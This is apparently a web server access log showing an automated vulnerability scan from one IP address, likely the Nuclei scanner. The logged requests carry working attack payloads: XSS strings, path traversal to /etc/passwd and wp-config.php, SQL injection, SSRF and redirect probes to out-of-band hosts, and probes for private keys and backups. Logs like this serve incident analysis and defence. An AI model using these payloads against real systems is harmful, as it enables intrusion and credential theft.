[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/oembed/1.0/proxy?url=http://d5g6to2hausk1oj0j65gdfzuagaed3sqz.oast.live HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /StudioServer/.git/config HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/mstore-api/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://ntp/ HTTP/1.1" 226
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/jsp/index.html HTTP/1.1" 226
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //me.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=action_name HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Grimag/go.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/app.db HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/setup-config.php?step=1 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/finder/index.php?by=type&dir=tv&order=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/sfwd-lms/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/securimage-wp/siwp_test.php/%22/%3E%3Cscript%3Ealert(1);%3C/script%3E?tested=1 HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wordpress/debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/lifterlms/ HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.war HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin.php?page=wps_pages_page&type=1&ID=1+AND+(SELECT+*+from+(select+SLEEP(6))a) HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/superstorefinder-wp/ssf-wp-admin/pages/exportAjax.php HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:55:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/portrait-archiv-shop/js/imageDetails.php?pDetails=);});%3C/script%3E%3Cscript%3Ealert(document.location)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tinymce-thumbnail-gallery/php/download-image.php?href=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/mc4wp-debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wptouch_switch=desktop&redirect=http://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-includes/sym404/root/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/tutor/views/pages/instructors.php?sub_page=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //je/graphql HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/data.txt HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/super-forms/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.7z HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927571606 HTTP/1.1" -
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.gz HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.new HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.lz HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /my-account/?alg_wc_ev_verify_email=eyJpZCI6MSwiY29kZSI6MH0= HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/themes/haberadam/api/mobile-info.php?id HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/webviewer?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/Upward/go.php?https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/wpdm-cache/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /carbon/admin/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/pdf-invoices/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-post.php?alg_wc_pif_download_file=../../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /blog/wp-content/plugins/1-flash-gallery/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws_ftp.ini HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://ntp:22/ HTTP/1.1" 226
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wpv-image=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /userpost/xerox.set HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/altair/functions/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cluster/cluster HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /versa/app/img/versa-logo.png HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /carbon/admin/login_action.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zdm/login_xdm_uc.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wptouch_switch=desktop&redirect=https://interact.sh/ HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/gallery-plugin/upload/files/tzltr.png HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xxl-job-admin/login HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile.html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/user/reg HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ws_ftp.log HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci/web HTTP/1.1" 199
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?wsdl HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xxl-job-admin/toLogin HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/Version HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?u=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-u%27%29%3E&groups=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-groups%27%29%3E&signup_for=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-signup_for%27%29%3E&user_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_id%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-type%27%29%3E&desc=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-desc%27%29%3E&newcontent=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-newcontent%27%29%3E&foo=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-foo%27%29%3E&message=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-message%27%29%3E&d=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-d%27%29%3E&width=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-width%27%29%3E&_wp_http_referer=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_wp_http_referer%27%29%3E&post_status=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_status%27%29%3E&author=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-author%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /author-sitemap.xml HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/application.wadl HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config-sample.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?mdocs-img-preview=../../../wp-config.php HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_dsa HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wpify-woo/deps/dragonbe/vies/examples/async_processing/queue.php/%22%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.dhtml HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //o.htm HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /zdm/cxf/login HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-login.php?wp_lang=en_US%27 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-config.php-backup HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/getemaildata.php?DontCheckLogin=1&filePath=c:/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp/debug.log HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/template/Login.vm HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aim/equipmap/accept.jsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/mediafile/templateOfTaohong_manager.jsp?path=/../../../ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/File/DownloadFile?filePath=wwwroot/..././/..././/..././/..././/..././/..././/..././/..././etc/passwd&delete=0 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Proxy HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //localhost.sql HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/default/view.html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/system/ExecuteSqlForSingle HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?PagePrincipale/rss&id=1%27+and+extractvalue(0x0a,concat(0x0a,(select+concat_ws(0x207c20,md5(999999999),1,user()))))--+- HTTP/1.1" 3426
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/smart-manager-for-wp-e-commerce/sm/woo-json.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /xmlrpc/pingback HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/xweb500.cgi HTTP/1.1" 199
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ServiceDispatcherServlet HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/FileReceiveServlet HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /yarn.lock HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/examples/websocket/index.xhtml HTTP/1.1" 226
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/auth/login?p=Login&t=1 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /xprober.php HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //laravel-graphql-playground HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wp-statistics/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax/getemaildata.php?DontCheckLogin=1 HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /uapim/upload/grouptemplet?groupid=49&fileType=jsp HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service/~iufo/com.ufida.web.action.ActionServlet?TableSelectedID&TreeSelectedID&action=nc.ui.iufo.release.InfoReleaseAction&method=createBBSRelease HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /servlet/~baseapp/nc.message.bs.NCMessageServlet HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/sqlite.db HTTP/1.1" 196
